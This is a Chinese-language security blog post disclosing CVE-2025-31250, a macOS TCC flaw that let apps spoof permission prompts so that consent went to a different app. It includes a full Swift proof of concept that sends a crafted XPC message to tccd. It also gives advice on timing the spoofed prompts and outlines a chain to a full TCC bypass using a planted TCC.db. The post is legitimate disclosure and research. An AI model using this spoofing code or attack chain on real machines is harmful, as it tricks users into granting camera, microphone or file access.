macOS 权限弹窗真的可信吗?(CVE-2025-31250)
macOS 权限弹窗真的可信吗?(CVE-2025-31250)
2025-05-12 by Noah Gregory
引言
是时候再次更新你的 Mac 了!这次,我不再绕弯子。CVE-2025-31250,已在今天发布的 macOS Sequoia 15.5 及更高版本中修复,允许…
- …任何 Application A 让 macOS 显示权限同意提示…
- …看起来像是来自任何 Application B …
- …用户同意后的结果会应用于任何 Application C。
这些不必是不同的应用程序。实际上,在大多数正常使用情况下,它们可能都是相同的应用程序。即使 Application B 和 C 相同但与 Application A 不同,也相对安全(如果从 Application A 的角度来看有点无用)。但是,在此漏洞被修复之前,由于缺乏验证,导致 Application B(提示 看起来 来自的应用程序)可以与 Application C(用户同意响应 实际 应用到的应用程序)不同。 欺骗此类提示并非什么新鲜事。实际上,HackTricks wiki 长期以来在其网站上提供了一个关于如何执行类似技巧的教程。 但是,他们的方法需要:
- 在临时目录中构建一个完整的虚假应用程序,
- 覆盖 Dock 上的快捷方式,以及
- 简单地希望用户点击(现在)虚假的快捷方式。
这个漏洞 不需要上述任何操作。
TCC
正如我在 本网站上的第一篇文章中解释的那样, TCC 是内置于 Apple 操作系统中的核心权限系统。它通过向 tccd
守护程序发送消息来使用(或者更确切地说,通过使用私有 TCC
框架中的函数)。该框架是一个私有 API,因此开发人员不会直接调用这些函数(而是,公共 API 会在需要时在幕后调用这些函数)。但是,所有这些包装都无法掩盖控制机制仍然只是向守护程序发送消息这一事实。
守护程序使用 Apple 的公共(但专有)XPC API 进行消息传递(特别是基于字典的较低级别的 API)。在此漏洞被修复之前,任何能够向 tccd
发送 XPC 消息的应用程序都可以向其发送一条专门制作的消息,如上所述,这将使其显示一个权限提示,看起来像是来自一个应用程序,但随后将用户的响应应用于一个完全独立的应用程序。但这是如何实现的呢?它困难吗?在回答这些问题之前,我们需要绕道到一个起初看起来完全无关的主题。
Apple Events
什么是 Apple Events?
Apple Events 是 macOS 上的一种进程间通信方法。在撰写本文时,如果你 在 Google 上搜索 site:developer.apple.com "apple events"
, 最早的结果之一很可能是 这篇名为 Introduction to Apple Events 的 PDF 文档。 浏览此 PDF 后,你可能会认为其中的内容与现代编程完全无关。你可能会觉得它从第 3 章开始很奇怪,但你可能会 搜索并找到构成该书的其他 PDF 文件。
仔细查看这本书,你可能会开始对其中的一些代码片段感到困惑。直到仔细观察你才意识到… 其中的一些代码是 Pascal。 然后,你可能会匆忙搜索书名,并找到 Amazon 列表,其中包含出版日期:1993 年 1 月 1 日。这是一本古老的书。它早于 Mac OS X,实际上来自之前的时代(现在追溯称为 Classic Mac OS)。所以等等,如果这个协议这么古老,为什么我现在在 2025 年,在现代 macOS 的背景下谈论它呢?
我在搜索有关 Apple Events 的资源时就遇到了我上面描述的情况。我一直在研究该协议,因为实际上… Apple Events 仍然 是 macOS 的一部分。虽然随 Mac OS X 引入的新内核需要对该技术进行重新架构,但概念和一般用途至今仍然存在。
如今,Apple Events 最常见的用例是自动化(告诉应用程序执行特定操作或一组操作)。这可以通过使用 Apple 的 Open Scripting Architecture 进行脚本编写。用于这些脚本的主要语言是 AppleScript, 但 也可以使用 JavaScript。 这类似于 Windows 上的 Windows Script Host。 并且,就像在 Windows 上一样,这种脚本已被用作恶意软件的载体。
Apple Events 和 TCC
那么这与 TCC 有什么关系呢?嗯,从 macOS Mojave 10.14 开始,应用程序发送 Apple Events 需要通过 TCC 获得特定的用户同意。 但是,尝试将 Apple Events 添加到 TCC 可能会给 Apple 带来挑战。请注意,以下大部分是推测,我不想挖掘旧版本的 TCC 来验证我的理论。但是,我相信它们可能是相当准确的。
正如我在之前的文章中解释的那样,TCC 将用户同意结果存储在位于 [User Home Folder]/Application Support/com.apple.TCC/TCC.db
的 SQLite 数据库文件中。虽然将如此敏感的数据公开存储可能看起来很奇怪,但此文件(以及包含它的目录)通常受到很好的保护。但是,这种设置 过去 曾多次被利用。你可能已经看到了潜在的缺陷。让我们暂时搁置一下,稍后我们再回到它。
回到数据库:TCC.db
的每一行都包含以下列:
- 请求权限的应用程序的列(或者更确切地说,是 TCC 所说的“服务”),
- 应用程序请求的服务的列,以及
- 用户同意响应的列。
当服务背后有单个资源时,此模型效果很好。但是,对于 Apple Events,资源可以是任何接收应用程序。Apple 的工程师 可以 简单地添加一个“Apple Events”服务,当应用程序被授予权限时,它将允许它向 任何 应用程序发送 Apple Events。但是,这仍然会为滥用敞开大门。相反,Apple 决定限制用户对每个接收应用程序发送 Apple Events 的同意。但他们是如何做到的呢?
TCC.db
中表示用户对 Apple Events 的同意响应的行使用 第四 列:“间接对象”列。接收应用程序的标识符放置在此列中。虽然我只见过它与 Apple Events 一起使用,但 显然还有另一项服务 FileProviderDomain
使用它。 我不清楚此列是否在 Mojave 更新之前就存在,但我不会惊讶于它是 为 Apple Events 添加的,而其他服务的使用是在后来才出现的。我可能错了,但同样,我不想挖掘旧的 TCC 版本来检查。我将其留给读者作为练习。
无论如何,由于许多与 TCC 的同意交互不需要使用此列,因此 TCC 守护程序会分别处理需要和不需要它的消息(以及守护程序的许多其他功能)。这是通过发送到守护程序的 XPC 字典消息中 function
键的字符串值来完成的。具体来说,守护程序的 TCCAccessRequestIndirect
函数处理需要使用添加到数据库中的结果行中的“间接对象”列的消息。
TCCAccessRequestIndirect
函数包含一个逻辑错误,导致我在本文开头描述的行为:发送者可以指定一个应用程序,该应用程序将用于构建和显示用户同意提示,同时还可以指定另一个应用程序,该应用程序实际上将作为请求服务的应用程序插入到数据库中。此错误在其他访问请求函数中不存在。
概念验证
class TCCPromptSpoofer {
public enum Error: Swift.Error {
case actualBundleHasNoIdentifier
case spoofedBundleHasNoExecutablePath
case failedToCreateSecStaticCode(OSStatus)
case failedToCopySigningInformation(OSStatus)
case failedToGetRequirementData(OSStatus)
case requirementsDataHasNoBaseAddress
}
/// 欺骗 TCC 提示。
/// - Parameters:
/// - spoofedBundle: 将在提示中显示的 bundle。
/// - actualBundle: 实际接收权限的 bundle。
/// - service: 要欺骗的服务。
/// - indirectObject: 要欺骗的间接对象(主要用于 AppleEvents 服务)。
/// - useCSReq: 是否将代码签名要求发送到 TCC 守护程序。
/// - Returns: 用户是否接受了提示。
@discardableResult
public static func spoofPrompt(
spoofedBundle: Bundle,
actualBundle: Bundle,
service: String,
indirectObject: String? = nil,
useCSReq: Bool = false
) throws -> Bool {
// 我们需要一个带有标识符的实际 bundle 才能使此工作正常进行。
guard let actualBundleID = actualBundle.bundleIdentifier else {
throw self.Error.actualBundleHasNoIdentifier
}
// 我们还需要一个带有可执行路径的欺骗 bundle 才能使此工作正常进行。
guard let spoofedExecutablePath = spoofedBundle.executablePath else {
throw self.Error.spoofedBundleHasNoExecutablePath
}
// 我们需要创建一个 XPC 字典来发送到 TCC 守护程序。
let xpcDict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_string(xpcDict, "function", "TCCAccessRequestIndirect")
xpc_dictionary_set_string(xpcDict, "service", "kTCCService\(service)")
// `target_prompt` 值为 2 是唯一一个在 TCC 守护程序中没有特殊处理的值,因此我们使用它。
xpc_dictionary_set_int64(xpcDict, "target_prompt", 2)
// <key_part_of_exploit>
// 这是最终将放入数据库中的值,从而使实际 bundle 获得权限。
xpc_dictionary_set_string(xpcDict, "target_identifier", actualBundleID)
xpc_dictionary_set_int64(xpcDict, "target_identifier_type", 0) // 类型 0 表示 bundle 标识符。
// 这是将用于获取请求应用程序的显示名称以在提示中使用的值。
xpc_dictionary_set_string(xpcDict, "target_path", spoofedExecutablePath)
// </key_part_of_exploit>
// 我们在此处创建 requirements blob。
let requirementsBlob =
useCSReq
// 我们需要获取实际 bundle 的代码签名 requirements data。
? try {
// 从实际 bundle 创建一个静态代码对象。
var staticCode: SecStaticCode?
let staticCodeCreateStatus = SecStaticCodeCreateWithPath(
actualBundle.bundleURL as CFURL, [], &staticCode
)
guard
staticCodeCreateStatus == errSecSuccess,
let secStaticCode = staticCode
else {
throw self.Error
.failedToCreateSecStaticCode(staticCodeCreateStatus)
}
// 获取实际 bundle 的签名信息。
var information: CFDictionary?
let copySigningInformationStatus = SecCodeCopySigningInformation(
secStaticCode, .init(rawValue: kSecCSRequirementInformation), &information
)
guard
copySigningInformationStatus == errSecSuccess,
let signingInformation = information as? [String: Any]
else {
throw self.Error
.failedToCopySigningInformation(copySigningInformationStatus)
}
// 获取实际 bundle 的代码签名 requirements data。
guard
let requirementsData = signingInformation[kSecCodeInfoRequirementData as String]
as? Data
else {
throw self.Error
.failedToGetRequirementData(copySigningInformationStatus)
}
return requirementsData
}()
// 我们仍然需要发送 *某些内容* 作为 requirements blob,因此回退到空的 Data 对象。
: Data()
// 现在我们将上面的 requirements blob 放入 XPC 字典中。
try requirementsBlob.withUnsafeBytes { bufferPointer in
// 这可能永远不会发生,但最好安全 than sorry。
guard let baseAddress = bufferPointer.baseAddress else {
throw self.Error.requirementsDataHasNoBaseAddress
}
// 我们将缓冲区复制到新指针,因为按照文档,缓冲区指针仅在块内有效。
// 这个新指针虽然在块内定义,但不应受到相同的限制(希望如此),因此将其放入 XPC 字典中应该是安全的。
let newPointer = UnsafeMutablePointer.allocate(capacity: bufferPointer.count)
newPointer.initialize(
from: baseAddress.bindMemory(to: UInt8.self, capacity: bufferPointer.count),
count: bufferPointer.count
)
xpc_dictionary_set_data(
xpcDict, "target_csreq",
newPointer, bufferPointer.count
)
}
// 此键是该函数所必需的,因此我们要么传入用户提供的值,要么传入空字符串。
xpc_dictionary_set_string(xpcDict, "indirect_object_identifier", indirectObject ?? "")
// `target_prompt` 值为 2 是唯一一个在 TCC 守护程序中没有特殊处理的值,因此我们使用它。
xpc_dictionary_set_int64(xpcDict, "target_prompt", 2)
// 最后,我们将 XPC 字典发送到 TCC 守护程序。
let connection = xpc_connection_create_mach_service("com.apple.tccd", nil, 0)
xpc_connection_set_event_handler(connection) { _ in }
xpc_connection_resume(connection)
let reply = xpc_connection_send_message_with_reply_sync(connection, xpcDict)
let didAccept = xpc_dictionary_get_bool(reply, "result")
return didAccept
}
}
上面的代码可能看起来很复杂,但实际上,并非所有代码都是必需的或相关的。逻辑错误本身非常简单。简而言之,当为 TCCAccessRequestIndirect
函数(且 target_prompt
为 2
)向 tccd
发送 XPC 字典消息时…
- …通过
target_path
键传递的路径上的 bundle 的名称将用于 GUI 同意提示… - …而通过
target_identifier
键传递的 bundle ID 代表的 bundle 将是实际插入到数据库中的 bundle。
此外,尽管这专门是一个 用于 带有间接对象的访问请求的函数,但你可以只指定一个空字符串作为间接对象,并将该函数用于其他几个不使用该列的 TCC 服务。至于为什么 TCC 守护程序有两个可以单独指定的字段,而它们(逻辑上)应该总是指代同一件事:我不知道。虽然此漏洞仍然需要用户做出肯定的回应,但它最终开辟了一种欺骗 TCC 提示的方法,使其看起来像是来自用户机器上的任何其他应用程序。这显然是不理想的。
利用此漏洞
限制和怪癖
此漏洞的另一个限制是,它只能与一组特定的 TCC 服务一起使用。但是,这包括许多主要的服务,例如麦克风、摄像头等。对特定目录的访问的同意提示也可以被欺骗,但是围绕文件的其他安全层使其用处不大(尽管,无关紧要的是,Apple 最近修复了一个基于文件系统的沙箱逃逸漏洞)。 此漏洞的一个有趣的因素是,恶意应用程序可以使用它,并使用户的同意结果最终应用于 另一个 应用程序。虽然这起初可能看起来没有用处,但对于复杂的攻击可能有所帮助,在这种攻击中,攻击者找到了一种控制另一个应用程序的方法,但仍然需要该应用程序获得用户对 TCC 服务的同意,以便充分利用它。
把握利用时机
在利用此漏洞时,把握 何时 显示欺骗提示是关键。如果 TCC 同意提示 随机地 出现在用户面前,他们很可能会以怀疑的眼光看待它,并单击“不允许”。但是,如果它在正确的时间出现,用户最终可能会单击“允许”。 但是,“正确的时间”到底是什么时候?我将用一个问题来回答这个问题:你知道在 macOS 上,应用程序通常可以轻松地 查看正在运行的应用程序列表,甚至可以 查看当前哪个应用程序在最前面吗? 恶意应用程序所要做的就是等待特定应用程序启动和/或成为“最前面的”应用程序,并且 仅在那时 显示带有该应用程序名称的欺骗提示。由于它会在用户打开或切换到该应用程序时出现,因此他们可能会被欺骗,认为提示来自该应用程序。 例如,攻击者可以等待用户打开 FaceTime,然后显示一个用于摄像头权限的欺骗同意提示(希望用户没有看到 FaceTime 窗口已经在提示下使用他们的摄像头)。一个可能更有成效的途径是等到用户打开语音备忘录,然后欺骗一个用于麦克风访问的提示。还有几种假设的场景,但我想到了这两个。但是,还有另一种可能与完整的 TCC 绕过相关联。
重温一个旧的漏洞
你们当中精明的人可能早已想知道:“如果 TCC.db
数据库的位置取决于用户的 Home 文件夹,那么这是如何确定的?” 你的问题的答案取决于你 何时 提出这个问题。在 2020 年 7 月中旬发布的更新之前,tccd
守护程序只是使用了 HOME
环境变量 这个漏洞(研究人员追溯命名为 $HOMERun),开辟了一个简单的 TCC 绕过,就像在一个虚假的 Home 文件夹的正确路径上放置一个虚假的 TCC.db
,然后将 HOME
环境变量的值设置为该虚假的 Home 文件夹一样简单。
在上述漏洞被修复后,TCC 守护程序现在查询操作系统的用户信息目录以获取用户的 Home 文件夹。这是应该做的正确方法,因为它更能够抵抗漏洞利用。但它并非完全抵抗。 Wojciech Reguła,我在之前的文章中提到过他,找到了一种滥用内置于 macOS 的 GUI 用户信息目录编辑器的插件系统的方法, 同时 微软威胁情报团队发现了一种他们称之为“powerdir”的绕过,它使用了内置的导入和导出命令。
应用程序通常需要做两件事才能更改用户的 Home 文件夹。第一个是 root 访问权限。以上两种方法都无法绕过此要求,此漏洞也无法做到。但是,以上两种方法都能够绕过第二个要求:用户对特定 TCC 服务的同意。虽然此漏洞不能 完全 绕过此要求,但 可以 用于向用户显示对该特定 TCC 服务的欺骗同意提示,希望他们单击“允许”。
考虑上面的提示。你会单击“允许”吗?如果你读了这篇文章这么久,你的答案可能就是“不”。但是想想,如果你没有读过这篇文章呢。如果这个提示 在你打开“系统设置”应用程序时 出现,你会单击“允许”吗?也许其他事情会给你提示。也许你会想“系统设置应用程序不应该已经有权执行此操作了吗?” 也许,如果你足够怀疑,你仍然会单击“不允许”。但我不认为 每个人 都会这样做。
在这个假设的例子中,如果你不幸被上面的提示欺骗并单击“允许”,你将给一些未知的应用程序最终更改你的 Home 文件夹、放置一个虚假的
TCC.db
并绕过真实数据库所需的一半。那些阅读过 我的第一篇文章 的人可能会想知道 REG.db
,该数据库用于跟踪所有有效 TCC.db
数据库。嗯,不幸的是,TCC 提供了一个函数,供任何应用程序简单地将条目添加到 REG.db
。因此,即使它妨碍了此漏洞,也可以通过简单地添加一个带有放置的 TCC.db
路径的条目来有效地阻止它。
在收到被欺骗的同意后,恶意应用程序需要做的就是找到一种方法来升级到 root,并使用它(以及上面)来修改用户信息目录并更改用户的 Home 文件夹。
坦率地说,我没有自动化这个过程。我将其留给读者作为练习,如果他们愿意的话。但是,我确实手动玩弄了更改我的 Home 文件夹(并将条目添加到 REG.db
),并且确实观察到 TCC 使用我的真实数据库和我放置的数据库(每个数据库的行为都不同,因为它们的内容不同)。这是有道理的,因为从任何 Home 文件夹进行操作都是 TCC 的合法用例。
最终,更改用户的 Home 文件夹并放置一个虚假的 TCC.db
(同时还可能在 REG.db
中为其添加一个条目)现在和将来都可能是一条可行的漏洞利用路径。攻击者和安全研究人员只需找到新的方法来闯入修改用户信息目录。
时间表
值得注意的一件有趣的事情是:尽管这不是我的第二篇文章,但这是我向 Apple 报告的第二个 bug。Apple 最终修复它花费了 很长时间。到目前为止,在我报告的(且 Apple 已修复的)bug 中,这是修复时间最长的: 日期 | 事件 ---|--- 2024-05-02 | 我向 Apple Product Security 提交了初步报告(+ 几条额外的澄清消息) 2024-05-03 | Apple Product Security 回复,要求澄清(+ 我的回复) 2024-05-03 | 当天晚些时候,我发现了潜在的完整 TCC 绕过,并通知了 Apple Product Security 2024-05-04 | 在我继续测试我的 PoC 时,我留下了几条额外的更新消息 2024-05-06 | Apple Product Security 感谢我提供的信息 2024-05-15 | 我注意到状态显示为“已重现”,因此我跟进,总结了我之前的所有漫谈 2024-05-16 | Apple Product Security 感谢我,并提醒我在他们的调查期间不要透露信息 2024-05-30 | 我再次联系,要求更新调查和我的报告 2024-05-30 | Apple Product Security 回复,说他们仍在调查,并再次提醒我不要透露 2024-06-28 | 我再次联系,要求更新调查和我的报告 2024-06-28 | Apple Product Security 回复,说没有更新,他们仍在调查 2024-09-17 | 我再次联系,要求更新,分享了我认为可能是该漏洞的简单补丁:验证两个字段是否指向同一个应用程序 2024-09-17 | Apple Product Security 回复,说他们仍在调查 2024-12-09 | 我再次联系,要求更新,重申了我提出的简单补丁 2024-12-09 | Apple Product Security 回复,说他们仍在调查,感谢我的耐心 2025-02-28 | 我注意到现在有一个针对补丁的预计时间框架,并表示赞赏 2025-03-03 | Apple Product Security 感谢地回复 2025-05-02 | Apple Product Security 问我想以什么名字获得认可 2025-05-02 | 我提供了我的回复 2025-05-05 | Apple 确认我将获得认可 2025-05-12 | 补丁已发布
结论
其他补充
对于那些想知道的人,是的,TCC 是“系统设置”应用程序(从“安全和隐私”重命名为“隐私和安全”)中“隐私和安全”窗格背后的系统。更具体地说,与 Apple Events 相关的同意结果出现在“自动化”部分下。“隐私和安全”窗格作为一个整体,提供了一个 GUI,允许用户查看他们已授予的同意,并(通常)允许他们撤销特定的同意响应。
我发现的一件具有讽刺意味的事情是,如果攻击者能够成功地欺骗用户允许它发送 Apple Events,那么同意结果将不会出现在“系统设置”中。这将使用户无法通过 GUI 撤销他们的同意。他们可以使用一个(几乎没有文档记录的)CLI 工具 tccutil
来撤销他们的同意,但我怀疑大多数用户都知道它。我只在 Apple 的两个地方找到了它的文档:一份旧的 Technical Q&A 和 一个 IT 培训页面。
另一方面,Apple 的 Endpoint Security 框架最近添加了对监视 TCC 数据库修改的支持。 如果它按预期工作,使用该框架的应用程序可以向用户提供识别欺骗提示的能力,至少在事后立即通知他们他们 实际 刚刚同意哪个应用程序。也就是说,如果在 Apple 在其 Endpoint Security 框架中实现这些事件和他们修复此漏洞之间的短暂窗口内使用它。
Apple 的修复
那么,Apple 的修复是什么?老实说,我不完全确定。在最初编写此部分时,我下载了 macOS Sequoia 15.5 RC 更新文件,从中提取了 tccd
二进制文件,并进行了一些简短的静态分析,以确定发生了什么变化。我得出了一个关于它在运行时所做的事情的理论,但我等待最终版本来确认。事实证明,我最初的理论是错误的,Apple 所做的补丁要复杂得多。仔细观察,似乎他们已经解决了原始漏洞的几个问题。应用程序不仅不能再以这种方式欺骗 TCC 提示,而且简单地为间接对象指定一个空字符串的能力似乎也受到了类似的阻碍。
最终,似乎这些类型的消息现在被 tccd
静默地丢弃,并且不采取任何操作。我可能会最终查看该补丁以更全面地了解它(并且如果其他人也这样做,我不会感到惊讶),但从我更新后进行的一些简短探测来看,这似乎是一个很好的补丁。如果不是,我相信你会从我或任何其他找到方法绕过它的人那里看到另一个更新。如果 Apple 有什么遗漏,希望他们不要再花一年时间来修复它!
最后的想法
如果我通过安全研究学到了什么,那就是如果我想让这个漏洞流行起来,我应该给它一个花哨的名字。我真的不是一个有创造力的人,所以我只会选择我脑海中浮现的第一件事。 我会将此漏洞称为:“TCC,谁?”。 一如既往……关注此空间。 *[CLI]: 命令行界面